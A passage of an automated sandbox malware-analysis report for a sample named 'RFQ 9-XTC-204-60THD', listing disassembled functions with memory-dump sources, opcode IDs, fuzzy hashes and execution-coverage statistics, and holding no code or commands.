                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: ]
                                                                                                      • API String ID: 0-3352871620
                                                                                                      • Opcode ID: 409c0fdc59097d33d296179e993a7e3d2e5f001199c934aa1a30fd3cfa7d5801
                                                                                                      • Instruction ID: 7e7bae0cb95aef405fc76dd3b46e84464eeaf1a8481747339ee29afdec03ca71
                                                                                                      • Opcode Fuzzy Hash: 409c0fdc59097d33d296179e993a7e3d2e5f001199c934aa1a30fd3cfa7d5801
                                                                                                      • Instruction Fuzzy Hash: BD415D71D05A588FEB58CF6B9C4469AFAF3AFC9301F14D1BA840CAA255EB3449868F41
                                                                                                      Function 06DFC188 Relevance: 1.3, Strings: 1, Instructions: 73COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: E
                                                                                                      • API String ID: 0-3568589458
                                                                                                      • Opcode ID: 4723f890a61eb37a8b1a566ed6841ffe6bd1c99847583e788c4be9dbfc147fa9
                                                                                                      • Instruction ID: 2c08b44dfe9889ef0f6371a747106d0fdf36f4d04b301f8b47dccd460a321d00
                                                                                                      • Opcode Fuzzy Hash: 4723f890a61eb37a8b1a566ed6841ffe6bd1c99847583e788c4be9dbfc147fa9
                                                                                                      • Instruction Fuzzy Hash: 1431D0B1D156598BEB5DCF679D4069EFAF7AFC8300F04D1FAC908A6255DA300A818F00
                                                                                                      Function 04840040 Relevance: .4, Instructions: 450COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3135a17afb4da22c565768022753ab09e5c2a636ab063ba0b68fdc5c4c6daea4
                                                                                                      • Instruction ID: 23f1472c6ca6d063c7aae788ec80b45841390a5cf5adac6fd2d3ab40c4460d27
                                                                                                      • Opcode Fuzzy Hash: 3135a17afb4da22c565768022753ab09e5c2a636ab063ba0b68fdc5c4c6daea4
                                                                                                      • Instruction Fuzzy Hash: 0A024770B006198FDB48DFA9C49466EF7F2FB89304F148A29DA16E7391DB34A951CB90
                                                                                                      Function 06E42328 Relevance: .4, Instructions: 431COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: de81b388c99200b75e08d9f54f7e5f154f5eb08db523887814fc884fa8507705
                                                                                                      • Instruction ID: 9f5879997a35cc2fa6fae41bf3231314b2f2fb68becd84974a87ce46ae290c44
                                                                                                      • Opcode Fuzzy Hash: de81b388c99200b75e08d9f54f7e5f154f5eb08db523887814fc884fa8507705
                                                                                                      • Instruction Fuzzy Hash: 9A12B270E006188FDB54DFAAD98069EFBF2BF88304F24C169D558AB219D734AA46CF54
                                                                                                      Function 072A1248 Relevance: .3, Instructions: 327COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2220035841af191905dbb9918fa82f9e84f4e2d8dabe22476f7cc566931fe200
                                                                                                      • Instruction ID: d825663efe6b88b5ada3c113f2756852dd3378b0832ed62ea82e7780209b65b9
                                                                                                      • Opcode Fuzzy Hash: 2220035841af191905dbb9918fa82f9e84f4e2d8dabe22476f7cc566931fe200
                                                                                                      • Instruction Fuzzy Hash: 9ED12974A10609DFCB14CF69C584AADB7F2BF88720F2985A9E806EB361D730EC51CB50
                                                                                                      Function 04843D60 Relevance: .3, Instructions: 281COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9f6f360ec670dff40a1a05deea9dbebff892899094916b37873f18502f095228
                                                                                                      • Instruction ID: b1e13205118ea0891ab222b7ab4fb5500c08709335e2564b203dc493986adc55
                                                                                                      • Opcode Fuzzy Hash: 9f6f360ec670dff40a1a05deea9dbebff892899094916b37873f18502f095228
                                                                                                      • Instruction Fuzzy Hash: 8EC11670A0520CCFDB44DFA8E445BADB7B6FB89304F108569E909E7398EB34A945CF20
                                                                                                      Function 060330A8 Relevance: .3, Instructions: 263COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3ade7eb105ca52f3cc94b27f5da72022d0903c096789e3fb2889efd0e225d62e
                                                                                                      • Instruction ID: 96671ac3cac9d7aa449f725124b76fca203f9c017c9dfa421d38827236ddd7b9
                                                                                                      • Opcode Fuzzy Hash: 3ade7eb105ca52f3cc94b27f5da72022d0903c096789e3fb2889efd0e225d62e
                                                                                                      • Instruction Fuzzy Hash: 19B11770E44258CFEB48CFA9E485A9DBBF6FB89305F109069D809B7355DB309985CF50
                                                                                                      Function 0603309A Relevance: .3, Instructions: 260COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e926b4784a7f667beb717297fdbadaa9e43dae4e9d98ad3175912b492a5713e1
                                                                                                      • Instruction ID: e2f5fffa933a94c994d99eae0d065373ee42068c8f31ed0e6d61dd3efc26e37d
                                                                                                      • Opcode Fuzzy Hash: e926b4784a7f667beb717297fdbadaa9e43dae4e9d98ad3175912b492a5713e1
                                                                                                      • Instruction Fuzzy Hash: C6B12674E44258CFEB48DFA9E485A9DBBF6FB89301F108069D809B7354DB309985CF50
                                                                                                      Function 06DF3C50 Relevance: .2, Instructions: 245COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b241b596504dc958fb0dec3fa6f5edda9d5120ea89054b186ac9276a4e29e45a
                                                                                                      • Instruction ID: 2ef46b6dc43fcd4a62feaa0f5676e51586a907cd0a62d3bbc758e34cbc14fbc5
                                                                                                      • Opcode Fuzzy Hash: b241b596504dc958fb0dec3fa6f5edda9d5120ea89054b186ac9276a4e29e45a
                                                                                                      • Instruction Fuzzy Hash: 20C18675E006188FDB58DF6AC944ADDBBF2AF89300F15C0AAD909AB365DB305E81CF50
                                                                                                      Function 0484F9A0 Relevance: .2, Instructions: 242COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 241811f3530910d3baae8b7fbc9defaefa3e698d1213699a7f0dfd006a919761
                                                                                                      • Instruction ID: d021279f49b05616c3ac33b6ee81a0afc4323ade3134c58e2d2ce982d82830bc
                                                                                                      • Opcode Fuzzy Hash: 241811f3530910d3baae8b7fbc9defaefa3e698d1213699a7f0dfd006a919761
                                                                                                      • Instruction Fuzzy Hash: F7A13B70A0020CCFDB44DFA9E445BADB7B6FB89308F108569EA15E7395DB34A945CF21
                                                                                                      Function 0484F9B0 Relevance: .2, Instructions: 240COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: bca963e26c2a762cf1d8ed3726433d99d1d470f17a486917df4e77ff4cc0d546
                                                                                                      • Instruction ID: 2ef4c55f2b51e20a54c730723f0e41400bb5139c07be4f3fa09478e641ac286b
                                                                                                      • Opcode Fuzzy Hash: bca963e26c2a762cf1d8ed3726433d99d1d470f17a486917df4e77ff4cc0d546
                                                                                                      • Instruction Fuzzy Hash: BBA12C70A0420CDFDB44DFA9E445BADB7B6FB89308F108569EA09E7394DB346945CF21
                                                                                                      Function 06035F08 Relevance: .2, Instructions: 237COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b2879fada1a83672e12c943eb30f9c0a3c3ecd705179f12d21779c494b85d98b
                                                                                                      • Instruction ID: c67423fad0029f38c969380111fc5c0fb99c932372b4a50cc90910ec58a7de49
                                                                                                      • Opcode Fuzzy Hash: b2879fada1a83672e12c943eb30f9c0a3c3ecd705179f12d21779c494b85d98b
                                                                                                      • Instruction Fuzzy Hash: 86A11570E45228CFEB94DFA9D841BADBBFAFB89301F1080A9D809A7354DB315985CF50
                                                                                                      Function 06035F07 Relevance: .2, Instructions: 224COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 75690de9322531df0f56e4f19b5076d075ebb51a0154df20e19ed8ac7057574e
                                                                                                      • Instruction ID: 5e8f63cf102b208b4a1d1b0e89ba71976917980d094ccda77fb886b9643507ce
                                                                                                      • Opcode Fuzzy Hash: 75690de9322531df0f56e4f19b5076d075ebb51a0154df20e19ed8ac7057574e
                                                                                                      • Instruction Fuzzy Hash: BDA11570E45228CFEB94DFA9D841BADBBF6FB89301F1080A9D809A7354DB315985CF50
                                                                                                      Function 072EE318 Relevance: .2, Instructions: 203COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d3c023bb5b6464a5c58dfe5a73982edf338044a8ebc1338ac3cf36d5aa195c29
                                                                                                      • Instruction ID: f41df4a0e1cc0190844da5f9a3b5b138f7a02421f3694eb825ba2c7013c14d3f
                                                                                                      • Opcode Fuzzy Hash: d3c023bb5b6464a5c58dfe5a73982edf338044a8ebc1338ac3cf36d5aa195c29
                                                                                                      • Instruction Fuzzy Hash: 298159B0E24219CFEB64DF65C844BADBBFABF4A300F9580A9C409B7254DB749985CF11
                                                                                                      Function 06DC1DE0 Relevance: .2, Instructions: 172COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573624475.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6dc0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2630d9b9866e2c436f4b882da96260a9389a1029b96ab4edbcae777ee9f364bf
                                                                                                      • Instruction ID: 6c95c512c32d6f8ad2a0a53f8c8f60363934ea4f48016be48a1a7e53bf128aa4
                                                                                                      • Opcode Fuzzy Hash: 2630d9b9866e2c436f4b882da96260a9389a1029b96ab4edbcae777ee9f364bf
                                                                                                      • Instruction Fuzzy Hash: 28711F70A006099FEB48DFAAE85169EBBF7FBC4300F04C169D809A7365EB7459068F51
                                                                                                      Function 06DC2378 Relevance: .2, Instructions: 167COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573624475.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6dc0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 841a5d409661ead8f5e667feb54b5afb76387778366f9ee5ae6009491459c360
                                                                                                      • Instruction ID: 3bfcbf2666c9c30aafa9ba02a2647b71616fb3f853a83691b180552056aceecf
                                                                                                      • Opcode Fuzzy Hash: 841a5d409661ead8f5e667feb54b5afb76387778366f9ee5ae6009491459c360
                                                                                                      • Instruction Fuzzy Hash: B5817571D016698BEB68CF6B9D446D9FAF3AFC8300F04C1EAD84CA6264DB745AC58E00
                                                                                                      Function 06DC1DF0 Relevance: .2, Instructions: 165COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573624475.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6dc0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: f8a368e88461be24be1b401ca376ca9b595d21fa3ac0d28413fc1e4fdd15545b
                                                                                                      • Instruction ID: a6fbae244589e9d574458b0f5e19686b613d638359afbf8b3472cbd6e97f3470
                                                                                                      • Opcode Fuzzy Hash: f8a368e88461be24be1b401ca376ca9b595d21fa3ac0d28413fc1e4fdd15545b
                                                                                                      • Instruction Fuzzy Hash: CB710070E006099FEB48EFAAE85169EBBF7FBC4300F04C169D8099B365EB7459068F51
                                                                                                      Function 06DC2368 Relevance: .1, Instructions: 137COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573624475.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6dc0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: f95ec7fca14442bade63e10600538b28138e0f494d861704bf450eab8c096325
                                                                                                      • Instruction ID: aeb97e5886c38776bfa3d0a21af55d34237bfcedd84a031c60af5cc57eee4833
                                                                                                      • Opcode Fuzzy Hash: f95ec7fca14442bade63e10600538b28138e0f494d861704bf450eab8c096325
                                                                                                      • Instruction Fuzzy Hash: 53516071D056588BEB58CF6B9D446C9FAF3AFC8300F14C1FAC54CAA268DB700A858F01
                                                                                                      Function 06E42318 Relevance: .1, Instructions: 122COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 1232d0d044d457ff60e7d01c46ea454bbb657c49c4feaa0d1f238dddb4401aad
                                                                                                      • Instruction ID: 3e4c56863ba9e12bccbfce2a47d9ffb86b9fbd8c00ec51436eed0487cfd808a8
                                                                                                      • Opcode Fuzzy Hash: 1232d0d044d457ff60e7d01c46ea454bbb657c49c4feaa0d1f238dddb4401aad
                                                                                                      • Instruction Fuzzy Hash: 34415B71E016199BEB08CFABD94069EFBF3AFC8310F14C17AD958AB264DB3059468F54
                                                                                                      Function 06DF0278 Relevance: .1, Instructions: 106COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: aa8ae1968278a8afd73435b3147a5e94fb388798c8618e50b50dda80f20491a5
                                                                                                      • Instruction ID: 0f5567b6334ba30b9e89c07e479c774ce259ab31e187fded984d16526788b11b
                                                                                                      • Opcode Fuzzy Hash: aa8ae1968278a8afd73435b3147a5e94fb388798c8618e50b50dda80f20491a5
                                                                                                      • Instruction Fuzzy Hash: 355192B0D016189FEB68DF66D95879EFAF2BF88300F14C1AAD40DA7264DB745A85CF40
                                                                                                      Function 0603CE0B Relevance: .1, Instructions: 94COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 4a13ae39804eaf1e0c21ed7d19c2dcea30210f164f0ac3b4e23b1a689826a5d9
                                                                                                      • Instruction ID: 41e6c3fa4739e491092e0e6c629cb39f85dc2af524561421dfcbaad20342e8ff
                                                                                                      • Opcode Fuzzy Hash: 4a13ae39804eaf1e0c21ed7d19c2dcea30210f164f0ac3b4e23b1a689826a5d9
                                                                                                      • Instruction Fuzzy Hash: E3411AB1D042288FEB64CF6AC8407EEBBF6FB88300F10C1AAC419B7255E77419458F50
                                                                                                      Function 0603CE18 Relevance: .1, Instructions: 92COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 38c8cb1afa2291370e6e00a7325371599ce960218cb1f4e441fe3526e1828a8f
                                                                                                      • Instruction ID: 2a6c568352ce1faf25c32d6cf0b8a6ad9925b514ad0b2d02b259db88f6c9acc5
                                                                                                      • Opcode Fuzzy Hash: 38c8cb1afa2291370e6e00a7325371599ce960218cb1f4e441fe3526e1828a8f
                                                                                                      • Instruction Fuzzy Hash: CF31FC71D406298FEB64CF6AC8417EEBBFAFB88300F10C5AAC519B7254E77419858F50
                                                                                                      Function 06E43A19 Relevance: .1, Instructions: 90COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d9e998409c3913e05e6a918ef2a65a4793447707d0ee5be753720552d22c67e0
                                                                                                      • Instruction ID: 53493f1537b72c86fa0c92864419886bfe2abad545889d7d762ae47d5af76f99
                                                                                                      • Opcode Fuzzy Hash: d9e998409c3913e05e6a918ef2a65a4793447707d0ee5be753720552d22c67e0
                                                                                                      • Instruction Fuzzy Hash: FB314571E05A588BEB5CDF6B9C4469EFAF3AFC9301F18D179980CAA269DB310542DF10
                                                                                                      Function 072D0006 Relevance: .1, Instructions: 80COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 793176b956e3856731f61b2aa727f626c7879f5d64931c843f68db5c12b93c15
                                                                                                      • Instruction ID: 2e8688b1048006ab6f94c0e62b74a28d77de5bcf6dfcb8533a2f2bd2a366b3dc
                                                                                                      • Opcode Fuzzy Hash: 793176b956e3856731f61b2aa727f626c7879f5d64931c843f68db5c12b93c15
                                                                                                      • Instruction Fuzzy Hash: 8A3118B1D057558FE729CF2A8C5438ABBB7AFC9200F05C1EA9448AA265DB344A898F51
                                                                                                      Function 06DF0268 Relevance: .1, Instructions: 78COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 687c9284a6e03caa4e0f3566f149aac5ce7c6d34b8e53db7aa081b396c4847cd
                                                                                                      • Instruction ID: f1f1cd73002b38b638bc0729171d3d779997d1c68905cdd8cd61d6c8c8493933
                                                                                                      • Opcode Fuzzy Hash: 687c9284a6e03caa4e0f3566f149aac5ce7c6d34b8e53db7aa081b396c4847cd
                                                                                                      • Instruction Fuzzy Hash: 7E31D5B1E056189BEB68CF6BD95878EFAF2BFC8300F14C1A9D40CA6265DB750A458E50
                                                                                                      Function 072D0040 Relevance: .1, Instructions: 68COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d46b17f149f04301322be30228769321eb7dfcb6783d76fc5a470af859e8898c
                                                                                                      • Instruction ID: 4312af9adcd354837af52207cc49e7483181cba4c85319397829f87f14193f3e
                                                                                                      • Opcode Fuzzy Hash: d46b17f149f04301322be30228769321eb7dfcb6783d76fc5a470af859e8898c
                                                                                                      • Instruction Fuzzy Hash: D721B8B1D15629CBEB28CF2B9C4479AF6F7AFC9300F04C0FA950CA6255EB700A858F51
                                                                                                      Function 04847030 Relevance: .1, Instructions: 64COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 876d21e4c102dcf248093d7050d60985c14c2be5d0aad1d2e895e637b8854687
                                                                                                      • Instruction ID: e31174e3ca292acf7b652ddd47d68ab7026c909a222b2a138625f315b1e529ea
                                                                                                      • Opcode Fuzzy Hash: 876d21e4c102dcf248093d7050d60985c14c2be5d0aad1d2e895e637b8854687
                                                                                                      • Instruction Fuzzy Hash: 0A21EEB1E056188BEB18CFAAD84079EFAF7ABC8300F04C56AD409AA254EB7419468F40
                                                                                                      Function 06DFAEA0 Relevance: .1, Instructions: 62COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 50ac11526f405043fe54cef509f3b7876f3992ecb33cc12594f8cc2fa4013737
                                                                                                      • Instruction ID: 2b2571d5d05b951436f60d7479ee62f0ff016953ff2ba97871b2fdf670bb7a24
                                                                                                      • Opcode Fuzzy Hash: 50ac11526f405043fe54cef509f3b7876f3992ecb33cc12594f8cc2fa4013737
                                                                                                      • Instruction Fuzzy Hash: 0621C075E14658CBEB58CF6BC8401D9BBF7AFC9300F08C1B9994DAA258DB700946CF44
                                                                                                      Function 06DFAEB0 Relevance: .1, Instructions: 61COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3eb67d48b31a8230ad272582b275cdb0f7d0e314b05f6d315d6988ad381601a2
                                                                                                      • Instruction ID: b546f5158a82b228da03775eb8d3e8eab7d2d9fc0dcef3c1715baaf8aa70d8ca
                                                                                                      • Opcode Fuzzy Hash: 3eb67d48b31a8230ad272582b275cdb0f7d0e314b05f6d315d6988ad381601a2
                                                                                                      • Instruction Fuzzy Hash: D521B7B1D046188BEB58CF6BC9406DDFBF7AFC9300F05C1AA994DAA258DB704A458F44

                                                                                                      Execution Graph

                                                                                                      Execution Coverage:9%
                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                      Signature Coverage:0%
                                                                                                      Total number of Nodes:74
                                                                                                      Total number of Limit Nodes:5
